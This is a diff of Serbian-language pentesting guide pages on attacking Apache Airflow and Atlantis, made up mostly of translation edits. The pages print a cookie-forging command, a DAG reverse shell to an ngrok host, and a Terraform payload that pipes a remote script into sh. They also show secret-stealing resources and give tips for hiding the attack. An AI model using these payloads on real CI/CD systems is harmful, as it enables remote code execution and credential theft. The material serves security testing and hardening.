web-u**. U ovoj konfiguraciji se pojavljuje **`secret_key`**, što znači da svaki korisnik sa ovim važećim može **napraviti svoj potpisani kolačić da bi se pretvarao da je bilo koji drugi korisnički nalog**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` #### DAG Backdoor (RCE u Airflow radniku) -Ako imate **pristup za pisanje** na mestu gde se **DAG-ovi čuvaju**, možete jednostavno **napraviti jedan** koji će vam poslati **obrnuti shell.**\ -Imajte na umu da će ovaj obrnuti shell biti izvršen unutar **airflow radničkog kontejnera:** +Ako imate **pristup za pisanje** na mestu gde su **DAG-ovi sačuvani**, možete jednostavno **napraviti jedan** koji će vam poslati **reverse shell.**\ +Imajte na umu da će ovaj reverse shell biti izvršen unutar **airflow radničkog kontejnera:** ```python import pendulum from airflow import DAG @@ -146,20 +146,20 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} Ako uspete da **kompromitujete mašinu unutar DAG klastera**, možete kreirati nove **DAG skripte** u `dags/` folderu i one će biti **replicirane na ostalim mašinama** unutar DAG klastera. -#### Injekcija koda u DAG +#### Ubrizgavanje koda u DAG Kada izvršavate DAG iz GUI-a, možete **proslediti argumente**.\ -Stoga, ako DAG nije pravilno kodiran, mogao bi biti **ranjiv na Injekciju Komandi.**\ +Stoga, ako DAG nije pravilno kodiran, mogao bi biti **ranjiv na Command Injection.**\ To se desilo u ovom CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -Sve što treba da znate da **počnete da tražite injekcije komandi u DAG-ovima** je da se **parametri** **pristupaju** kodom **`dag_run.conf.get("param_name")`**. +Sve što treba da znate da **počnete da tražite command injections u DAG-ovima** je da se **parametri** **pristupaju** sa kodom **`dag_run.conf.get("param_name")`**. -Štaviše, ista ranjivost može se javiti sa **varijablama** (imajte na umu da sa dovoljno privilegija možete **kontrolisati vrednost varijabli** u GUI-u). Varijable se **pristupaju sa**: +Štaviše, ista ranjivost može se javiti i sa **varijablama** (imajte na umu da sa dovoljno privilegija možete **kontrolisati vrednost varijabli** u GUI-u). Varijable se **pristupaju sa**: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` -Ако се користе, на пример, унутар bash команде, могли бисте извршити инјекцију команде. +Ako se koriste, na primer, unutar bash komande, mogli biste izvršiti injekciju komande. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 5441fce97..e73b4b1f4 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -1,33 +1,33 @@ -# Airflow Configuration +# Konfiguracija Airflow-a {{#include ../../banners/hacktricks-training.md}} -## Configuration File +## Konfiguracioni Fajl **Apache Airflow** generiše **config fajl** na svim airflow mašinama pod nazivom **`airflow.cfg`** u home direktorijumu korisnika airflow. Ovaj config fajl sadrži informacije o konfiguraciji i **može sadržati zanimljive i osetljive informacije.** **Postoje dva načina da se pristupi ovom fajlu: kompromitovanjem neke airflow mašine ili pristupanjem web konzoli.** -Napomena da **vrednosti unutar config fajla** **možda nisu one koje se koriste**, jer ih možete prepisati postavljanjem env varijabli kao što su `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. +Imajte na umu da **vrednosti unutar config fajla** **možda nisu one koje se koriste**, jer ih možete prepisati postavljanjem env varijabli kao što su `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. Ako imate pristup **config fajlu na web serveru**, možete proveriti **pravu aktivnu konfiguraciju** na istoj stranici na kojoj se prikazuje konfiguracija.\ Ako imate **pristup nekoj mašini unutar airflow okruženja**, proverite **okruženje**. -Neke zanimljive vrednosti za proveru prilikom čitanja config fajla: +Neke zanimljive vrednosti koje treba proveriti prilikom čitanja config fajla: ### \[api] - **`access_control_allow_headers`**: Ovo označava **dozvoljene** **zaglavlja** za **CORS** - **`access_control_allow_methods`**: Ovo označava **dozvoljene metode** za **CORS** - **`access_control_allow_origins`**: Ovo označava **dozvoljene izvore** za **CORS** -- **`auth_backend`**: [**Prema dokumentaciji**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) nekoliko opcija može biti na snazi za konfiguraciju ko može pristupiti API-ju: +- **`auth_backend`**: [**Prema dokumentaciji**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) nekoliko opcija može biti postavljeno za konfiguraciju ko može pristupiti API-ju: - `airflow.api.auth.backend.deny_all`: **Podrazumevano niko** ne može pristupiti API-ju - `airflow.api.auth.backend.default`: **Svi mogu** pristupiti bez autentifikacije - `airflow.api.auth.backend.kerberos_auth`: Za konfiguraciju **kerberos autentifikacije** -- `airflow.api.auth.backend.basic_auth`: Za **basic autentifikaciju** +- `airflow.api.auth.backend.basic_auth`: Za **osnovnu autentifikaciju** - `airflow.composer.api.backend.composer_auth`: Koristi autentifikaciju kompozitora (GCP) (iz [**ovde**](https://cloud.google.com/composer/docs/access-airflow-api)). -- `composer_auth_user_registration_role`: Ovo označava **ulogu** koju će **korisnik kompozitora** dobiti unutar **airflow** (**Op** podrazumevano). -- Takođe možete **napraviti svoju metodu autentifikacije** pomoću Pythona. +- `composer_auth_user_registration_role`: Ovo označava **ulogu** koju će **korisnik kompozitora** dobiti unutar **airflow-a** (**Op** podrazumevano). +- Takođe možete **napraviti svoju vlastitu autentifikaciju** metodom u python-u. - **`google_key_path`:** Putanja do **GCP servisnog naloga** ### **\[atlas]** @@ -45,9 +45,9 @@ Neke zanimljive vrednosti za proveru prilikom čitanja config fajla: ### \[core] -- **`dag_discovery_safe_mode`**: Omogućeno podrazumevano. Kada se otkrivaju DAG-ovi, ignorišu se svi fajlovi koji ne sadrže stringove `DAG` i `airflow`. +- **`dag_discovery_safe_mode`**: Omogućeno podrazumevano. Prilikom otkrivanja DAG-ova, ignorišite sve fajlove koji ne sadrže stringove `DAG` i `airflow`. - **`fernet_key`**: Ključ za čuvanje enkriptovanih varijabli (simetričan) -- **`hide_sensitive_var_conn_fields`**: Omogućeno podrazumevano, skriva osetljive informacije o konekcijama. +- **`hide_sensitive_var_conn_fields`**: Omogućeno podrazumevano, sakrijte osetljive informacije o konekcijama. - **`security`**: Koji sigurnosni modul koristiti (na primer kerberos) ### \[dask] @@ -78,17 +78,17 @@ Neke zanimljive vrednosti za proveru prilikom čitanja config fajla: ### \[webserver] - **`cookie_samesite`**: Podrazumevano je **Lax**, tako da je već najslabija moguća vrednost -- **`cookie_secure`**: Postavi **sigurnu oznaku** na sesijskom kolačiću -- **`expose_config`**: Podrazumevano je False, ako je true, **config** može biti **pročitan** iz web **konzole** +- **`cookie_secure`**: Postavite **sigurnu oznaku** na sesijskom kolačiću +- **`expose_config`**: Podrazumevano je False, ako je tačno, **config** se može **pročitati** iz web **konzole** - **`expose_stacktrace`**: Podrazumevano je True, prikazaće **python tracebacks** (potencijalno korisno za napadača) - **`secret_key`**: Ovo je **ključ koji koristi flask za potpisivanje kolačića** (ako imate ovo možete **imitirati bilo kog korisnika u Airflow-u**) - **`web_server_ssl_cert`**: **Putanja** do **SSL** **certifikata** - **`web_server_ssl_key`**: **Putanja** do **SSL** **ključa** - **`x_frame_enabled`**: Podrazumevano je **True**, tako da podrazumevano clickjacking nije moguć -### Web Authentication +### Web Autentifikacija -Podrazumevano **web autentifikacija** je specificirana u fajlu **`webserver_config.py`** i konfiguriše se kao +Podrazumevano je **web autentifikacija** specificirana u fajlu **`webserver_config.py`** i konfiguriše se kao ```bash AUTH_TYPE = AUTH_DB ``` diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index ccd2f874d..93ce55d71 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -8,13 +8,13 @@ - **`Admin`** korisnici imaju sve moguće dozvole. - **`Public`** korisnici (anonimni) nemaju nikakve dozvole. -- **`Viewer`** korisnici imaju ograničene dozvole za pregled (samo čitanje). **Ne može videti konfiguraciju.** +- **`Viewer`** korisnici imaju ograničene dozvole za gledanje (samo čitanje). **Ne može videti konfiguraciju.** - **`User`** korisnici imaju `Viewer` dozvole plus dodatne korisničke dozvole koje mu omogućavaju da malo upravlja DAG-ovima. On **može videti konfiguracioni fajl.** - **`Op`** korisnici imaju `User` dozvole plus dodatne op dozvole. Napomena: **admin** korisnici mogu **kreirati više uloga** sa više **granularnih dozvola**. -Takođe, napomena da je jedina podrazumevana uloga sa **dozvolom da lista korisnike i uloge Admin, čak ni Op** to neće moći da uradi. +Takođe, napomena da je jedina podrazumevana uloga sa **dozvolom da lista korisnike i uloge Admin, čak ni Op** to ne može da uradi. ### Default Permissions diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index 4392e90bc..cf6afa2df 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -4,15 +4,15 @@ ### Basic Information -Atlantis u suštini pomaže da pokrenete terraform iz Pull Requests sa vašeg git servera. +Atlantis u suštini pomaže vam da pokrenete terraform iz Pull Requests sa vašeg git servera. ![](<../images/image (161).png>) ### Local Lab -1. Idite na **atlantis releases page** na [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) i **preuzmite** onaj koji vam odgovara. +1. Idite na **atlantis releases page** u [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) i **preuzmite** onaj koji vam odgovara. 2. Kreirajte **lični token** (sa pristupom repozitorijumu) vašeg **github** korisnika. -3. Izvršite `./atlantis testdrive` i to će kreirati **demo repo** koji možete koristiti da **komunicirate sa atlantisom**. +3. Izvršite `./atlantis testdrive` i to će kreirati **demo repo** koji možete koristiti da **komunicirate sa atlantis**. 1. Možete pristupiti web stranici na 127.0.0.1:4141. ### Atlantis Access @@ -20,22 +20,22 @@ Atlantis u suštini pomaže da pokrenete terraform iz Pull Requests sa vašeg gi #### Git Server Credentials **Atlantis** podržava nekoliko git hostova kao što su **Github**, **Gitlab**, **Bitbucket** i **Azure DevOps**.\ -Međutim, da bi se pristupilo repozitorijumima na tim platformama i izvršavale akcije, potrebno je da se dodeli neki **privilegovan pristup** (barem prava za pisanje).\ -[**Dokumentacija**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) preporučuje da se kreira korisnik na ovim platformama posebno za Atlantis, ali neki ljudi mogu koristiti lične naloge. +Međutim, da bi pristupio repozitorijumima na tim platformama i izvršio akcije, potrebno je da ima određeni **privilegovan pristup** (barem prava za pisanje).\ +[**Dokumentacija**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) preporučuje kreiranje korisnika na ovim platformama posebno za Atlantis, ali neki ljudi mogu koristiti lične naloge. > [!WARNING] > U svakom slučaju, iz perspektive napadača, **Atlantis nalog** će biti veoma **interesantan** **za kompromitovanje**. #### Webhooks -Atlantis koristi opcionalno [**Webhook tajne**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) da bi potvrdio da su **webhookovi** koje prima sa vašeg Git hosta **legitimni**. +Atlantis koristi opcionalno [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) da bi potvrdio da su **webhook-ovi** koje prima sa vašeg Git hosta **legitimni**. -Jedan način da to potvrdite bio bi da **dozvolite zahteve da dolaze samo sa IP adresa** vašeg Git hosta, ali lakši način je korišćenje Webhook Tajne. +Jedan način da to potvrdite bio bi da **dozvolite zahteve samo sa IP adresa** vašeg Git hosta, ali lakši način je korišćenje Webhook Secret-a. Napomena: osim ako ne koristite privatni github ili bitbucket server, moraćete da izložite webhook krajnje tačke internetu. > [!WARNING] -> Atlantis će **izlagati webhookove** kako bi git server mogao da mu šalje informacije. Iz perspektive napadača, bilo bi zanimljivo znati **da li možete slati poruke**. +> Atlantis će **izlagati webhook-ove** kako bi git server mogao da mu šalje informacije. Iz perspektive napadača, bilo bi zanimljivo znati **da li možete slati poruke**. #### Provider Credentials @@ -43,10 +43,10 @@ Napomena: osim ako ne koristite privatni github ili bitbucket server, moraćete Atlantis pokreće Terraform jednostavno **izvršavajući `terraform plan` i `apply`** komande na serveru **na kojem je Atlantis hostovan**. Baš kao kada pokrećete Terraform lokalno, Atlantis treba kredencijale za vaš specifični provajder. -Na vama je kako [obezbeđujete kredencijale](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) za vaš specifični provajder Atlantsu: +Na vama je kako ćete [obezbediti kredencijale](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) za vaš specifični provajder Atlantis-u: - Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) i [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) imaju svoje mehanizme za kredencijale provajdera. Pročitajte njihovu dokumentaciju. -- Ako pokrećete Atlantis u oblaku, mnogi oblaci imaju načine da daju pristup API-ju oblaka aplikacijama koje se na njima pokreću, npr: +- Ako pokrećete Atlantis u oblaku, mnogi oblaci imaju načine da daju pristup cloud API-ju aplikacijama koje se na njima pokreću, npr: - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Pretražite "EC2 Role") - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) - Mnogi korisnici postavljaju promenljive okruženja, npr. `AWS_ACCESS_KEY`, gde se Atlantis pokreće. @@ -58,9 +58,9 @@ Na vama je kako [obezbeđujete kredencijale](https://www.runatlantis.io/docs/pro #### Web Page -Podrazumevano, Atlantis će pokrenuti **web stranicu na portu 4141 na localhostu**. Ova stranica samo omogućava da omogućite/isključite atlantis apply i proverite status plana repozitorijuma i otključate ih (ne dozvoljava da se stvari menjaju, tako da nije toliko korisna). +Po defaultu, Atlantis će pokrenuti **web stranicu na portu 4141 na localhost-u**. Ova stranica vam samo omogućava da omogućite/isključite atlantis apply i proverite status plana repozitorijuma i otključate ih (ne dozvoljava modifikaciju, tako da nije previše korisna). -Verovatno je nećete naći izloženu internetu, ali izgleda da podrazumevano **nema potrebnih kredencijala** za pristup (a ako ih ima, `atlantis`:`atlantis` su **podrazumevani**). +Verovatno je nećete naći izloženu internetu, ali izgleda da po defaultu **nema potrebnih kredencijala** za pristup (a ako ih ima, `atlantis`:`atlantis` su **default**). ### Server Configuration @@ -82,14 +82,14 @@ Vrednosti se **biraju u ovom redosledu**: Neke konfiguracije utiču na **kako se upravlja repozitorijumima**. Međutim, moguće je da **svaki repo zahteva različite postavke**, tako da postoje načini da se specificira svaki repo. Ovo je redosled prioriteta: -1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) datoteka. Ova datoteka se može koristiti da specificira kako atlantis treba da tretira repo. Međutim, podrazumevano neke ključeve nije moguće specificirati ovde bez nekih zastavica koje to omogućavaju. +1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) datoteka. Ova datoteka se može koristiti za specificiranje kako atlantis treba da tretira repo. Međutim, po defaultu, neki ključevi se ne mogu specificirati ovde bez nekih zastavica koje to omogućavaju. 1. Verovatno je potrebno da bude dozvoljeno zastavicama kao što su `allowed_overrides` ili `allow_custom_workflows`. 2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Možete je proslediti sa zastavicom `--repo-config` i to je yaml koji konfiguriše nove postavke za svaki repo (regexi su podržani). -3. **Podrazumevane** vrednosti. +3. **Default** vrednosti. **PR Protections** -Atlantis omogućava da naznačite da li želite da **PR** bude **`odobren`** od strane nekog drugog (čak i ako to nije postavljeno u zaštiti grane) i/ili da bude **`spajivo`** (zaštite grane su prošle) **pre nego što se izvrši apply**. Sa stanovišta bezbednosti, preporučuje se postaviti obe opcije. +Atlantis omogućava da naznačite da li želite da **PR** bude **`odobren`** od nekoga drugog (čak i ako to nije postavljeno u zaštiti grane) i/ili da bude **`spreman za spajanje`** (zaštite grane su prošle) **pre nego što pokrenete apply**. Sa sigurnosnog stanovišta, preporučuje se postavljanje obe opcije. U slučaju da je `allowed_overrides` True, ova podešavanja mogu biti **prepisana u svakom projektu putem datoteke `/atlantis.yml`**. @@ -128,16 +128,16 @@ Zatim, možete dozvoliti **atlantis.yaml** datoteci svakog repozitorijuma da **s Atlantis podržava pokretanje **server-side** [**conftest**](https://www.conftest.dev/) **politika** protiv izlaza plana. Uobičajeni slučajevi korišćenja ovog koraka uključuju: -- Odbijanje korišćenja liste modula. -- Potvrđivanje atributa resursa u trenutku kreiranja. -- Hvatanje nenamernih brisanja resursa. -- Sprečavanje bezbednosnih rizika (npr. izlaganje sigurnih portova javnosti). +- Odbijanje korišćenja liste modula +- Potvrđivanje atributa resursa u trenutku kreiranja +- Hvatanje nenamernih brisanja resursa +- Sprečavanje sigurnosnih rizika (npr. izlaganje sigurnih portova javnosti) -Možete proveriti kako to konfigurisati u [**dokumentaciji**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). +Možete proveriti kako da to konfigurišete u [**dokumentaciji**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). ### Atlantis Commands -[**U dokumentaciji**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) možete pronaći opcije koje možete koristiti za pokretanje Atlantisa: +[**U dokumentaciji**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) možete pronaći opcije koje možete koristiti za pokretanje Atlantis-a: ```bash # Get help atlantis help @@ -165,7 +165,7 @@ atlantis apply [options] -- [terraform apply flags] > [!WARNING] > Ako tokom eksploatacije naiđete na ovu **grešku**: `Error: Error acquiring the state lock` -Možete to popraviti pokretanjem: +Možete je popraviti pokretanjem: ``` atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false @@ -174,7 +174,7 @@ atlantis plan -- -lock=false Ako imate pristup za pisanje u repozitorijum, moći ćete da kreirate novu granu i generišete PR. Ako možete **izvršiti `atlantis plan`** (ili možda se automatski izvršava) **moći ćete da RCE unutar Atlantis servera**. -Možete to uraditi tako što ćete [**naterati Atlantis da učita spoljašnji izvor podataka**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Samo stavite payload kao što je sledeći u `main.tf` datoteku: +Možete to uraditi tako što ćete [**Atlantis učitati spoljašnji izvor podataka**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Samo stavite payload kao što je sledeći u `main.tf` datoteku: ```json data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -195,27 +195,27 @@ Možete pronaći rev shell kod na [https://github.com/carlospolop/terraform_exte - U spoljnim resursima, koristite **ref** funkciju da sakrijete **terraform rev shell kod u grani** unutar repozitorijuma, nešto poput: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` - **Umesto** kreiranja **PR za master** da pokrenete Atlantis, **napravite 2 grane** (test1 i test2) i kreirajte **PR od jedne do druge**. Kada završite napad, samo **uklonite PR i grane**. -#### Atlantis plan Secrets Dump +#### Atlantis plan Dump Tajni -Možete **dumpovati tajne koje koristi terraform** pokretanjem `atlantis plan` (`terraform plan`) tako što ćete staviti nešto poput ovoga u terraform datoteku: +Možete **dumpovati tajne korišćene od strane terraform** pokretanjem `atlantis plan` (`terraform plan`) tako što ćete staviti nešto poput ovoga u terraform datoteku: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` -#### Atlantis apply RCE - Modifikacija konfiguracije u novom PR-u +#### Atlantis primenjuje RCE - Izmena konfiguracije u novom PR-u Ako imate pristup za pisanje u repozitorijum, moći ćete da kreirate novu granu i generišete PR. Ako možete **izvršiti `atlantis apply`, moći ćete da RCE unutar Atlantis servera**. Međutim, obično ćete morati da zaobiđete neke zaštite: -- **Mergeable**: Ako je ova zaštita postavljena u Atlantis-u, možete pokrenuti **`atlantis apply` samo ako je PR spojiv** (što znači da zaštita grane mora biti zaobiđena). +- **Mogućnost spajanja**: Ako je ova zaštita postavljena u Atlantis-u, možete pokrenuti **`atlantis apply` samo ako je PR moguć za spajanje** (što znači da zaštita grane mora biti zaobiđena). - Proverite potencijalne [**zaštite grane zaobilaženja**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -- **Approved**: Ako je ova zaštita postavljena u Atlantis-u, neki **drugi korisnik mora odobriti PR** pre nego što možete pokrenuti `atlantis apply` +- **Odobreno**: Ako je ova zaštita postavljena u Atlantis-u, neki **drugi korisnik mora odobriti PR** pre nego što možete pokrenuti `atlantis apply` - Po defaultu možete zloupotrebiti [**Gitbot token da zaobiđete ovu zaštitu**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) Pokretanje **`terraform apply` na malicioznom Terraform fajlu sa** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -Samo treba da se pobrinete da neki payload poput sledećih završi u `main.tf` fajlu: +Samo se pobrinite da neki payload poput sledećih završi u `main.tf` fajlu: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -235,7 +235,7 @@ Sledite **preporukama iz prethodne tehnike** da izvršite ovaj napad na **diskre #### Terraform Param Injection -Kada pokrećete `atlantis plan` ili `atlantis apply`, terraform se pokreće ispod, možete proslediti komande terraformu iz atlantisa komentarišući nešto poput: +Kada pokrećete `atlantis plan` ili `atlantis apply`, terraform se pokreće u pozadini, možete proslediti komande terraform-u iz atlantis-a komentarišući nešto poput: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -243,15 +243,15 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` -Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +Nešto što možete proći su env varijable koje mogu biti korisne za zaobilaženje nekih zaštita. Proverite terraform env varijable u [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) -#### Custom Workflow +#### Prilagođeni tok rada -Pokretanje **malicious custom build commands** specificiranih u `atlantis.yaml` datoteci. Atlantis koristi `atlantis.yaml` datoteku iz grane pull request-a, **ne** iz `master`.\ +Pokretanje **malicious custom build commands** navedenih u `atlantis.yaml` datoteci. Atlantis koristi `atlantis.yaml` datoteku iz grane pull request-a, **ne** iz `master`.\ Ova mogućnost je pomenuta u prethodnom odeljku: > [!CAUTION] -> Ako je [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) zastavica `allow_custom_workflows` postavljena na **True**, radni tokovi mogu biti **specificirani** u **`atlantis.yaml`** datoteci svake repozitorije. Takođe je potencijalno potrebno da **`allowed_overrides`** takođe specificira **`workflow`** da **prepiše radni tok** koji će se koristiti. +> Ako je [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) zastavica `allow_custom_workflows` postavljena na **True**, tokovi rada mogu biti **navedeni** u **`atlantis.yaml`** datoteci svake repozitorije. Takođe je potencijalno potrebno da **`allowed_overrides`** takođe specificira **`workflow`** da bi se **zaobišao tok rada** koji će se koristiti. > > Ovo će u osnovi dati **RCE na Atlantis serveru bilo kojem korisniku koji može pristupiti toj repozitoriji**. > @@ -272,7 +272,7 @@ Ova mogućnost je pomenuta u prethodnom odeljku: > - run: my custom apply command > ``` -#### Bypass plan/apply protections +#### Zaobilaženje plan/apply zaštita Ako je [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) zastavica `allowed_overrides` _konfigurisana_ sa `apply_requirements`, moguće je da repozitorija **modifikuje plan/apply zaštite da ih zaobiđe**. ```yaml @@ -286,13 +286,13 @@ Ako neko pošalje **`atlantis plan/apply` komentare na vašim validnim pull zaht Štaviše, ako nemate podešeno u **zaštiti grane** da traži da se **ponovo proceni** svaki PR kada se **novi commit pošalje** na njega, neko bi mogao da **napisuje zloćudne konfiguracije** (proverite prethodne scenarije) u terraform konfiguraciji, pokrene `atlantis plan/apply` i dobije RCE. -Ovo je **podešavanje** u Github zaštitama grana: +Ovo je **podešavanje** u Github zaštitama grane: ![](<../images/image (216).png>) #### Webhook Secret -Ako uspete da **ukradete webhook secret** koji se koristi ili ako **nema webhook secret** koji se koristi, mogli biste **pozvati Atlantis webhook** i **izvršiti atlantis komande** direktno. +Ako uspete da **ukradete webhook secret** koji se koristi ili ako **nema webhook secret** koji se koristi, mogli biste **pozvati Atlantis webhook** i **izvršiti atlatis komande** direktno. #### Bitbucket @@ -300,7 +300,7 @@ Bitbucket Cloud **ne podržava webhook secrets**. Ovo bi moglo omogućiti napada - To znači da bi **napadač** mogao da napravi **lažne zahteve ka Atlantis-u** koji izgledaju kao da dolaze iz Bitbucket-a. - Ako specificirate `--repo-allowlist`, onda bi mogli samo da lažiraju zahteve koji se odnose na te repozitorijume, tako da bi najveća šteta koju bi mogli da naprave bila planiranje/aplikacija na vašim repozitorijumima. -- Da biste to sprečili, dozvolite [IP adrese Bitbucket-a](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (vidi Izlazne IPv4 adrese). +- Da biste to sprečili, dozvolite [Bitbucket-ove IP adrese](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (vidi Izlazne IPv4 adrese). ### Post-Exploitation @@ -325,7 +325,7 @@ Ako radite na javnom repozitorijumu (što nije preporučljivo, vidi iznad), ne b #### `--repo-allowlist` -Atlantis zahteva da navedete listu dozvoljenih repozitorijuma sa kojih će prihvatati webhooks putem `--repo-allowlist` zastavice. Na primer: +Atlantis zahteva da navedete allowlist repozitorijuma sa kojih će prihvatati webhooks putem `--repo-allowlist` zastavice. Na primer: - Specifični repozitorijumi: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` - Cela vaša organizacija: `--repo-allowlist=github.com/runatlantis/*` @@ -336,17 +336,17 @@ Ova zastavica osigurava da vaša Atlantis instalacija nije korišćena sa repozi #### Protect Terraform Planning -Ako su napadači koji šalju pull zahteve sa zloćudnim Terraform kodom u vašem modelu pretnje, onda morate biti svesni da odobrenja za `terraform apply` nisu dovoljna. Moguće je pokrenuti zloćudni kod u `terraform plan` koristeći [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ili specificirajući zloćudnog provajdera. Ovaj kod bi mogao da exfiltrira vaše akreditive. +Ako su napadači koji šalju pull zahteve sa zloćudnim Terraform kodom u vašem modelu pretnje, onda morate biti svesni da odobrenja za `terraform apply` nisu dovoljna. Moguće je pokrenuti zloćudni kod u `terraform plan` koristeći [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ili specificirajući zloćudnog provajdera. Ovaj kod bi mogao da eksfiltrira vaše akreditive. Da biste to sprečili, mogli biste: 1. Ugraditi provajdere u Atlantis sliku ili hostovati i odbiti izlaz u produkciji. 2. Implementirati protokol za registraciju provajdera interno i odbiti javni izlaz, tako da kontrolišete ko ima pristup za pisanje u registru. -3. Izmeniti vašu [server-side repo konfiguraciju](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` korak da validira upotrebu zabranjenih provajdera ili data source-ova ili PR-ova od neodobrenih korisnika. Takođe možete dodati dodatnu validaciju u ovom trenutku, npr. zahtevajući "thumbs-up" na PR pre nego što dozvolite da `plan` nastavi. Conftest bi mogao biti od pomoći ovde. +3. Izmeniti vašu [server-side repo konfiguraciju](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` korak da validira protiv korišćenja zabranjenih provajdera ili data source-ova ili PR-ova od neodobrenih korisnika. Takođe možete dodati dodatnu validaciju u ovom trenutku, npr. zahtevajući "thumbs-up" na PR pre nego što dozvolite da `plan` nastavi. Conftest bi mogao biti od pomoći ovde. #### Webhook Secrets -Atlantis bi trebao da se pokreće sa Webhook secret-ima postavljenim putem `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` varijabli okruženja. Čak i sa postavljenom `--repo-allowlist` zastavicom, bez webhook secret-a, napadači bi mogli da šalju zahteve ka Atlantis-u predstavljajući se kao repozitorijum koji je na listi dozvoljenih. Webhook secrets osiguravaju da webhook zahtevi zapravo dolaze od vašeg VCS provajdera (GitHub ili GitLab). +Atlantis bi trebao da se pokreće sa Webhook secret-ima postavljenim putem `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` varijabli okruženja. Čak i sa postavljenom `--repo-allowlist` zastavicom, bez webhook secret-a, napadači bi mogli slati zahteve ka Atlantis-u predstavljajući se kao repozitorijum koji je na allowlisti. Webhook secrets osiguravaju da webhook zahtevi zaista dolaze od vašeg VCS provajdera (GitHub ili GitLab). Ako koristite Azure DevOps, umesto webhook secret-a dodajte osnovno korisničko ime i lozinku. @@ -356,7 +356,7 @@ Azure DevOps podržava slanje osnovnog autentifikacionog header-a u svim webhook #### SSL/HTTPS -Ako koristite webhook secrets, ali je vaš saobraćaj 